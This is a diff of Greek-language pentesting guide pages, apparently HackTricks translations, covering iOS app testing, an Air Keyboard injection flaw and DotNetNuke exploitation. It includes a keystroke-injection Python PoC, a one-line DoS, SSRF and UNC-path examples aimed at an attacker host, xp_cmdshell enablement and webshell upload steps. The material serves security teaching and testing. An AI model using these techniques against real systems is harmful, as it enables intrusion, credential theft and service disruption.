Επιπλέον, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι τα πεδία κειμένου, ειδικά αυτά για την εισαγωγή ευαίσθητων πληροφοριών όπως κωδικοί πρόσβασης και PIN, απενεργοποιούν την αποθήκευση στην κρυφή μνήμη ρυθμίζοντας το `autocorrectionType` σε `UITextAutocorrectionTypeNo` και το `secureTextEntry` σε `YES`.
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
@ -621,7 +621,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```
|
||||
είναι χρήσιμα. Επιπλέον, το **Xcode** παρέχει έναν τρόπο για να συλλέξετε τα αρχεία καταγραφής κονσόλας:
|
||||
είναι χρήσιμα. Επιπλέον, **Xcode** παρέχει έναν τρόπο για να συλλέξετε τα αρχεία καταγραφής κονσόλας:
|
||||
|
||||
1. Ανοίξτε το Xcode.
|
||||
2. Συνδέστε τη συσκευή iOS.
|
||||
@ -642,11 +642,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### Κίνδυνοι Ασφαλείας
|
||||
|
||||
Η συμπερίληψη **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι.
|
||||
Η συμπερίληψη των **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι.
|
||||
|
||||
### Εξαίρεση Αρχείων από Αντίγραφα Ασφαλείας
|
||||
|
||||
Τα αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
|
||||
Αρχεία στον κατάλογο `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
|
||||
|
||||
### Δοκιμή για Ευπάθειες
|
||||
|
||||
@ -673,7 +673,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## Περίληψη σχετικά με τη Δοκιμή Μνήμης για Ευαίσθητα Δεδομένα
|
||||
|
||||
Όταν ασχολείστε με ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την εξέταση του περιεχομένου της μνήμης: **δημιουργία ενός dump μνήμης** και **ανάλυση της μνήμης σε πραγματικό χρόνο**. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένου του ενδεχόμενου να χάσετε κρίσιμα δεδομένα κατά τη διάρκεια της διαδικασίας dump ή ανάλυσης.
|
||||
Όταν ασχολείστε με ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την έρευνα του περιεχομένου της μνήμης: **δημιουργία ενός dump μνήμης** και **ανάλυση της μνήμης σε πραγματικό χρόνο**. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένου του ενδεχόμενου να χάσετε κρίσιμα δεδομένα κατά τη διάρκεια της διαδικασίας dump ή ανάλυσης.
|
||||
|
||||
## **Ανάκτηση και Ανάλυση ενός Dump Μνήμης**
|
||||
|
||||
@ -706,13 +706,13 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται, καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
|
||||
|
||||
### Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων
|
||||
### Χρήση Ανασφαλών και/ή Καταργημένων Αλγορίθμων
|
||||
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **καταργημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, να **αποθηκεύουν** ή να **στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
|
||||
|
||||
### Έλεγχος
|
||||
|
||||
Οι κύριοι έλεγχοι που πρέπει να εκτελούνται είναι να βρείτε αν μπορείτε να βρείτε **σκληρά κωδικοποιημένους** κωδικούς/μυστικά στον κώδικα, ή αν είναι **προβλέψιμοι**, και αν ο κώδικας χρησιμοποιεί κάποιο είδος **αδύναμων** **κρυπτογραφικών** αλγορίθμων.
|
||||
Οι κύριοι έλεγχοι που πρέπει να εκτελούνται είναι να βρείτε αν μπορείτε να βρείτε **σκληρά κωδικοποιημένους** κωδικούς/μυστικά στον κώδικα, ή αν αυτά είναι **προβλέψιμα**, και αν ο κώδικας χρησιμοποιεί κάποιο είδος **αδύναμων** **κρυπτογραφικών** αλγορίθμων.
|
||||
|
||||
Είναι ενδιαφέρον να γνωρίζετε ότι μπορείτε να **παρακολουθείτε** ορισμένες **βιβλιοθήκες** **κρυπτογραφίας** αυτόματα χρησιμοποιώντας **objection** με:
|
||||
```swift
|
||||
@ -724,12 +724,12 @@ ios monitor crypt
|
||||
|
||||
Η **τοπική αυθεντικοποίηση** παίζει κρίσιμο ρόλο, ειδικά όταν αφορά την προστασία της πρόσβασης σε ένα απομακρυσμένο σημείο μέσω κρυπτογραφικών μεθόδων. Η ουσία εδώ είναι ότι χωρίς σωστή υλοποίηση, οι μηχανισμοί τοπικής αυθεντικοποίησης μπορούν να παρακαμφθούν.
|
||||
|
||||
Το [**πλαίσιο Τοπικής Αυθεντικοποίησης**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
|
||||
Το [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) της Apple και το [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) παρέχουν ισχυρές APIs για τους προγραμματιστές ώστε να διευκολύνουν τα διαλόγους αυθεντικοποίησης χρηστών και να χειρίζονται με ασφάλεια μυστικά δεδομένα, αντίστοιχα. Το Secure Enclave ασφαλίζει το αναγνωριστικό δακτυλικού αποτυπώματος για το Touch ID, ενώ το Face ID βασίζεται στην αναγνώριση προσώπου χωρίς να διακυβεύει τα βιομετρικά δεδομένα.
|
||||
|
||||
Για την ενσωμάτωση του Touch ID/Face ID, οι προγραμματιστές έχουν δύο επιλογές API:
|
||||
|
||||
- **`LocalAuthentication.framework`** για αυθεντικοποίηση χρηστών υψηλού επιπέδου χωρίς πρόσβαση σε βιομετρικά δεδομένα.
|
||||
- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [ανοιχτού κώδικα περιτυλίκτες](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain.
|
||||
- **`Security.framework`** για πρόσβαση σε υπηρεσίες keychain χαμηλού επιπέδου, ασφαλίζοντας μυστικά δεδομένα με βιομετρική αυθεντικοποίηση. Διάφοροι [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) διευκολύνουν την πρόσβαση στο keychain.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ωστόσο, τόσο το `LocalAuthentication.framework` όσο και το `Security.framework` παρουσιάζουν ευπάθειες, καθώς επιστρέφουν κυρίως boolean τιμές χωρίς να μεταδίδουν δεδομένα για τις διαδικασίες αυθεντικοποίησης, καθιστώντας τα ευάλωτα σε παράκαμψη (ανατρέξτε στο [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Τώρα μπορούμε να ζητήσουμε το αποθηκευμένο στοιχείο από το keychain. Οι υπηρεσίες keychain θα παρουσιάσουν το διάλογο αυθεντικοποίησης στον χρήστη και θα επιστρέψουν δεδομένα ή nil ανάλογα με το αν παρέχεται ή όχι ένα κατάλληλο δακτυλικό αποτύπωμα.
|
||||
Τώρα μπορούμε να ζητήσουμε το αποθηκευμένο στοιχείο από το keychain. Οι υπηρεσίες keychain θα παρουσιάσουν το διάλογο αυθεντικοποίησης στον χρήστη και θα επιστρέψουν δεδομένα ή nil ανάλογα με το αν παρέχεται κατάλληλο δακτυλικό αποτύπωμα ή όχι.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
Για να επιτευχθεί η **παράκαμψη** της Τοπικής Αυθεντικοποίησης, έχει γραφτεί ένα σενάριο Frida. Αυτό το σενάριο στοχεύει τον έλεγχο **evaluatePolicy**, παρεμβαίνοντας στην ανατροφοδότηση του για να διασφαλίσει ότι επιστρέφει **success=1**. Με την τροποποίηση της συμπεριφοράς της ανατροφοδότησης, ο έλεγχος αυθεντικοποίησης παρακάμπτεται αποτελεσματικά.
|
||||
Για να επιτευχθεί η **παράκαμψη** της Τοπικής Αυθεντικοποίησης, έχει γραφτεί ένα σενάριο Frida. Αυτό το σενάριο στοχεύει τον έλεγχο **evaluatePolicy**, παρεμβαίνοντας στην ανατροφοδότηση του για να διασφαλίσει ότι επιστρέφει **success=1**. Αλλάζοντας τη συμπεριφορά της ανατροφοδότησης, ο έλεγχος αυθεντικοποίησης παρακάμπτεται αποτελεσματικά.
|
||||
|
||||
Το παρακάτω σενάριο εισάγεται για να τροποποιήσει το αποτέλεσμα της μεθόδου **evaluatePolicy**. Αλλάζει το αποτέλεσμα της ανατροφοδότησης ώστε να υποδεικνύει πάντα επιτυχία.
|
||||
```swift
|
||||
@ -1018,7 +1018,7 @@ burp-configuration-for-ios.md
|
||||
### Έλεγχος Ονόματος Κεντρικού Υπολογιστή
|
||||
|
||||
Ένα κοινό ζήτημα στην επικύρωση του πιστοποιητικού TLS είναι να ελέγξετε ότι το πιστοποιητικό έχει υπογραφεί από μια **έμπιστη** **CA**, αλλά **όχι να ελέγξετε** αν **το όνομα του κεντρικού υπολογιστή** του πιστοποιητικού είναι το όνομα του κεντρικού υπολογιστή που προσπελάζεται.\
|
||||
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευτείτε την CA του Burp στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό κεντρικό υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
|
||||
Για να ελέγξετε αυτό το ζήτημα χρησιμοποιώντας το Burp, αφού εμπιστευθείτε την CA του Burp στο iPhone, μπορείτε να **δημιουργήσετε ένα νέο πιστοποιητικό με το Burp για έναν διαφορετικό κεντρικό υπολογιστή** και να το χρησιμοποιήσετε. Αν η εφαρμογή εξακολουθεί να λειτουργεί, τότε κάτι είναι ευάλωτο.
|
||||
|
||||
### Pinning Πιστοποιητικού
|
||||
|
||||
@ -1036,13 +1036,13 @@ burp-configuration-for-ios.md
|
||||
- Μέσα στον φάκελο μιας εγκατεστημένης εφαρμογής (**`/User/Applications/<APP ID>/`**) μπορείτε να βρείτε μερικά ενδιαφέροντα αρχεία:
|
||||
- **`iTunesArtwork`**: Το εικονίδιο που χρησιμοποιείται από την εφαρμογή
|
||||
- **`iTunesMetadata.plist`**: Πληροφορίες της εφαρμογής που χρησιμοποιούνται στο App Store
|
||||
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την cache. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το snapshot που πραγματοποιήθηκε στην εφαρμογή πριν την στείλετε στο παρασκήνιο.
|
||||
- **`/Library/*`**: Περιέχει τις προτιμήσεις και την προσωρινή μνήμη. Στο **`/Library/Cache/Snapshots/*`** μπορείτε να βρείτε το στιγμιότυπο που πραγματοποιήθηκε στην εφαρμογή πριν την στείλετε στο παρασκήνιο.
|
||||
|
||||
### Hot Patching/Επιβεβλημένη Ενημέρωση
|
||||
|
||||
Οι προγραμματιστές μπορούν απομακρυσμένα **να διορθώσουν όλες τις εγκαταστάσεις της εφαρμογής τους άμεσα** χωρίς να χρειάζεται να υποβάλουν ξανά την εφαρμογή στο App Store και να περιμένουν μέχρι να εγκριθεί.\
|
||||
Για αυτό το σκοπό συνήθως χρησιμοποιείται το [**JSPatch**](https://github.com/bang590/JSPatch)**.** Αλλά υπάρχουν και άλλες επιλογές όπως το [Siren](https://github.com/ArtSabintsev/Siren) και το [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Αυτή είναι μια επικίνδυνη μηχανή που θα μπορούσε να καταχραστεί από κακόβουλα SDK τρίτων, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για την αυτόματη ενημέρωση (αν υπάρχει) και να την δοκιμάσετε.** Μπορείτε να προσπαθήσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτό το σκοπό.
|
||||
**Αυτός είναι ένας επικίνδυνος μηχανισμός που θα μπορούσε να καταχραστεί από κακόβουλα SDK τρίτων, επομένως συνιστάται να ελέγξετε ποια μέθοδος χρησιμοποιείται για την αυτόματη ενημέρωση (αν υπάρχει) και να την δοκιμάσετε.** Μπορείτε να προσπαθήσετε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής για αυτό το σκοπό.
|
||||
|
||||
### Τρίτοι
|
||||
|
||||
@ -1050,7 +1050,7 @@ burp-configuration-for-ios.md
|
||||
|
||||
Οι υπηρεσίες που παρέχονται από τα SDK τρίτων μπορεί να περιλαμβάνουν παρακολούθηση συμπεριφοράς χρηστών, προβολές διαφημίσεων ή βελτιώσεις εμπειρίας χρήστη. Ωστόσο, αυτό εισάγει έναν κίνδυνο καθώς οι προγραμματιστές μπορεί να μην είναι πλήρως ενήμεροι για τον κώδικα που εκτελείται από αυτές τις βιβλιοθήκες, οδηγώντας σε πιθανούς κινδύνους για την ιδιωτικότητα και την ασφάλεια. Είναι κρίσιμο να περιορίσετε τις πληροφορίες που μοιράζεστε με υπηρεσίες τρίτων σε ό,τι είναι απαραίτητο και να διασφαλίσετε ότι δεν εκτίθεται ευαίσθητη δεδομένα.
|
||||
|
||||
Η υλοποίηση υπηρεσιών τρίτων συνήθως έρχεται σε δύο μορφές: μια αυτόνομη βιβλιοθήκη ή ένα πλήρες SDK. Για να προστατεύσετε την ιδιωτικότητα των χρηστών, οποιαδήποτε δεδομένα μοιράζεστε με αυτές τις υπηρεσίες θα πρέπει να είναι **ανώνυμα** για να αποτραπεί η αποκάλυψη Προσωπικά Αναγνωρίσιμων Πληροφοριών (PII).
|
||||
Η υλοποίηση υπηρεσιών τρίτων συνήθως έρχεται σε δύο μορφές: μια αυτόνομη βιβλιοθήκη ή ένα πλήρες SDK. Για να προστατεύσετε την ιδιωτικότητα των χρηστών, οποιαδήποτε δεδομένα μοιράζεστε με αυτές τις υπηρεσίες θα πρέπει να είναι **ανώνυμα** για να αποτραπεί η αποκάλυψη Προσωπικών Αναγνωρίσιμων Πληροφοριών (PII).
|
||||
|
||||
Για να προσδιορίσετε τις βιβλιοθήκες που χρησιμοποιεί μια εφαρμογή, μπορεί να χρησιμοποιηθεί η εντολή **`otool`**. Αυτό το εργαλείο θα πρέπει να εκτελείται κατά της εφαρμογής και κάθε κοινής βιβλιοθήκης που χρησιμοποιεί για να ανακαλύψει πρόσθετες βιβλιοθήκες.
|
||||
```bash
|
||||
|
||||
@ -35,7 +35,7 @@ ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Η δηλωμένη διάρκεια περιλαμβάνει το `device_id` byte **αλλά όχι** την επικεφαλίδα δύο byte.
|
||||
Η δηλωμένη μήκος περιλαμβάνει το `device_id` byte **αλλά όχι** την επικεφαλίδα δύο byte.
|
||||
|
||||
## 3. Εκμετάλλευση PoC
|
||||
```python
|
||||
@ -54,11 +54,11 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
Οποιοδήποτε εκτυπώσιμο ASCII (συμπεριλαμβανομένων των `\n`, `\r`, ειδικών πλήκτρων, κ.λπ.) μπορεί να σταλεί, παρέχοντας ουσιαστικά στον επιτιθέμενο την ίδια δύναμη με την φυσική είσοδο του χρήστη: εκκίνηση εφαρμογών, αποστολή IMs, επίσκεψη σε phishing URLs, κ.λπ.
|
||||
Οποιοδήποτε εκτυπώσιμο ASCII (συμπεριλαμβανομένων των `\n`, `\r`, ειδικών πλήκτρων κ.λπ.) μπορεί να σταλεί, παρέχοντας ουσιαστικά στον επιτιθέμενο την ίδια δύναμη με την φυσική είσοδο χρήστη: εκκίνηση εφαρμογών, αποστολή IMs, επίσκεψη σε phishing URLs κ.λπ.
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Η Android έκδοση (55535) αναμένει έναν κωδικό 4 χαρακτήρων κρυπτογραφημένο με ένα **hard-coded AES-128-ECB key** ακολουθούμενο από μια τυχαία nonce. Τα σφάλματα ανάλυσης ανεβαίνουν στο `AES_decrypt()` και δεν ανιχνεύονται, τερματίζοντας το νήμα ακρόασης. Ένα μόνο κακώς διαμορφωμένο πακέτο είναι αρκετό για να κρατήσει τους νόμιμους χρήστες αποσυνδεδεμένους μέχρι να επανεκκινηθεί η διαδικασία.
|
||||
Η Android έκδοση (55535) αναμένει έναν κωδικό 4 χαρακτήρων κρυπτογραφημένο με ένα **hard-coded AES-128-ECB key** ακολουθούμενο από μια τυχαία nonce. Τα σφάλματα ανάλυσης προβάλλονται στο `AES_decrypt()` και δεν ανιχνεύονται, τερματίζοντας το νήμα ακρόασης. Ένα μόνο κακώς διαμορφωμένο πακέτο είναι αρκετό για να κρατήσει τους νόμιμους χρήστες αποσυνδεδεμένους μέχρι να επανεκκινηθεί η διαδικασία.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -76,7 +76,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
* Ανιχνεύστε απροσδόκητες ανοιχτές θύρες κατά τη διάρκεια ελέγχων ασφάλειας κινητών (`netstat`, `lsof`, `frida-trace` στο `socket()` κ.λπ.).
|
||||
* Ως τελικός χρήστης: απεγκαταστήστε το Air Keyboard ή χρησιμοποιήστε το μόνο σε αξιόπιστα, απομονωμένα δίκτυα Wi-Fi.
|
||||
|
||||
## Φύλλο Ελέγχου Ανίχνευσης (Pentesters)
|
||||
## Φύλλο Συμβουλών Ανίχνευσης (Pentesters)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
|
||||
@ -7,17 +7,17 @@
|
||||
Αν εισέλθετε ως **administrator** στο DNN, είναι εύκολο να αποκτήσετε **RCE**, ωστόσο έχουν δημοσιευθεί αρκετές *unauthenticated* και *post-auth* τεχνικές τα τελευταία χρόνια. Το παρακάτω cheat-sheet συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους τόσο για επιθετική όσο και για αμυντική εργασία.
|
||||
|
||||
---
|
||||
## Έκδοση & Αριθμός Περιβάλλοντος
|
||||
## Έκδοση & Καταμέτρηση Περιβάλλοντος
|
||||
|
||||
* Ελέγξτε το *X-DNN* HTTP response header – συνήθως αποκαλύπτει την ακριβή έκδοση της πλατφόρμας.
|
||||
* Ο οδηγός εγκατάστασης διαρρέει την έκδοση στο `/Install/Install.aspx?mode=install` (προσβάσιμο σε πολύ παλιές εγκαταστάσεις).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) επιστρέφει ένα JSON blob που περιέχει το `"dnnVersion"` για χρήστες χαμηλών δικαιωμάτων.
|
||||
* Ελέγξτε την *X-DNN* HTTP απάντηση – συνήθως αποκαλύπτει την ακριβή έκδοση της πλατφόρμας.
|
||||
* Ο οδηγός εγκατάστασης αποκαλύπτει την έκδοση στο `/Install/Install.aspx?mode=install` (προσβάσιμο σε πολύ παλιές εγκαταστάσεις).
|
||||
* Το `/API/PersonaBar/GetStatus` (9.x) επιστρέφει ένα JSON blob που περιέχει το `"dnnVersion"` για χρήστες χαμηλών δικαιωμάτων.
|
||||
* Τυπικά cookies που θα δείτε σε μια ζωντανή εγκατάσταση:
|
||||
* `.DOTNETNUKE` – ASP.NET forms authentication ticket.
|
||||
* `DNNPersonalization` – περιέχει XML/serialized δεδομένα προφίλ χρήστη (παλιές εκδόσεις – δείτε RCE παρακάτω).
|
||||
|
||||
---
|
||||
## Μη Αυθεντική Εκμετάλλευση
|
||||
## Μη Αυθεντικοποιημένη Εκμετάλλευση
|
||||
|
||||
### 1. Deserialization RCE Cookie (CVE-2017-9822 & follow-ups)
|
||||
*Επηρεαζόμενες εκδόσεις ≤ 9.3.0-RC*
|
||||
@ -37,7 +37,7 @@ msf> run
|
||||
Μια παράκαμψη της παλαιότερης διόρθωσης `DnnImageHandler` επιτρέπει σε έναν επιτιθέμενο να αναγκάσει τον διακομιστή να εκδώσει **τυχαία GET αιτήματα** (ημι-τυφλό SSRF). Πρακτικές επιπτώσεις:
|
||||
|
||||
* Εσωτερική σάρωση θυρών / ανακάλυψη υπηρεσιών μεταδεδομένων σε αναπτύξεις cloud.
|
||||
* Πρόσβαση σε hosts που αλλιώς είναι φραγμένοι από το Διαδίκτυο.
|
||||
* Πρόσβαση σε hosts που αλλιώς είναι προστατευμένοι από το Διαδίκτυο.
|
||||
|
||||
Απόδειξη της έννοιας (αντικαταστήστε `TARGET` & `ATTACKER`):
|
||||
```
|
||||
@ -48,7 +48,7 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
|
||||
*Επηρεαζόμενες εκδόσεις 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Ειδικά κατασκευασμένο περιεχόμενο μπορεί να κάνει το DNN να προσπαθήσει να αποκτήσει μια πηγή χρησιμοποιώντας μια **UNC διαδρομή** όπως `\\attacker\share\img.png`. Τα Windows θα εκτελέσουν ευχαρίστως τη διαπραγμάτευση NTLM, διαρρέοντας τους hash λογαριασμού του διακομιστή στον επιτιθέμενο. Αναβαθμίστε σε **10.0.1** ή απενεργοποιήστε το SMB εξόδου στο τείχος προστασίας.
|
||||
Ειδικά διαμορφωμένο περιεχόμενο μπορεί να κάνει το DNN να προσπαθήσει να αποκτήσει μια πηγή χρησιμοποιώντας μια **UNC διαδρομή** όπως `\\attacker\share\img.png`. Τα Windows θα εκτελέσουν ευχαρίστως τη διαπραγμάτευση NTLM, διαρρέοντας τους hash λογαριασμού του διακομιστή στον επιτιθέμενο. Αναβαθμίστε σε **10.0.1** ή απενεργοποιήστε το SMB εξόδου στο τείχος προστασίας.
|
||||
|
||||
### 4. IP Filter Bypass (CVE-2025-52487)
|
||||
Εάν οι διαχειριστές βασίζονται σε *Host/IP Filters* για την προστασία της πύλης διαχείρισης, να γνωρίζετε ότι οι εκδόσεις πριν από **10.0.1** μπορούν να παρακαμφθούν με την παραποίηση του `X-Forwarded-For` σε σενάριο αντίστροφης προώθησης.
|
||||
@ -57,7 +57,7 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
## Post-Authentication to RCE
|
||||
|
||||
### Via SQL console
|
||||
Κάτω από **`Settings → SQL`** ένα ενσωματωμένο παράθυρο ερωτήματος επιτρέπει την εκτέλεση κατά της βάσης δεδομένων του ιστότοπου. Στον Microsoft SQL Server μπορείτε να ενεργοποιήσετε το **`xp_cmdshell`** και να δημιουργήσετε εντολές:
|
||||
Κάτω από **`Settings → SQL`** ένα ενσωματωμένο παράθυρο ερωτήματος επιτρέπει την εκτέλεση κατά της βάσης δεδομένων του ιστότοπου. Στον Microsoft SQL Server μπορείτε να ενεργοποιήσετε **`xp_cmdshell`** και να δημιουργήσετε εντολές:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
@ -67,26 +67,26 @@ GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Via ASPX webshell upload
|
||||
1. Go to **`Settings → Security → More → More Security Settings`**.
|
||||
2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**.
|
||||
3. Browse to **`/admin/file-management`** and upload `shell.aspx`.
|
||||
4. Trigger it at **`/Portals/0/shell.aspx`**.
|
||||
1. Πηγαίνετε στο **`Settings → Security → More → More Security Settings`**.
|
||||
2. Προσθέστε `aspx` (ή `asp`) στις **Allowable File Extensions** και **Save**.
|
||||
3. Περιηγηθείτε στο **`/admin/file-management`** και ανεβάστε `shell.aspx`.
|
||||
4. Ενεργοποιήστε το στο **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Privilege Escalation on Windows
|
||||
Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:
|
||||
Μόλις επιτευχθεί η εκτέλεση κώδικα ως **IIS AppPool\<Site>**, ισχύουν κοινές τεχνικές ανύψωσης δικαιωμάτων στα Windows. Αν το σύστημα είναι ευάλωτο, μπορείτε να εκμεταλλευτείτε:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** to escape *Service Accounts*.
|
||||
* **PrintSpoofer** / **SpoolFool** για να καταχραστείτε το *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** για να ξεφύγετε από *Service Accounts*.
|
||||
|
||||
---
|
||||
## Hardening Recommendations (Blue Team)
|
||||
|
||||
* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues).
|
||||
* Remove residual **`InstallWizard.aspx*`** files after installation.
|
||||
* Disable outbound SMB (ports 445/139) egress.
|
||||
* Enforce strong *Host Filters* on the edge proxy rather than within DNN.
|
||||
* Block access to `/API/RemoteContentProxy` if unused.
|
||||
* **Upgrade** σε τουλάχιστον **9.13.9** (διορθώνει το SSRF bypass) ή κατά προτίμηση **10.0.1** (θέματα IP filter & NTLM).
|
||||
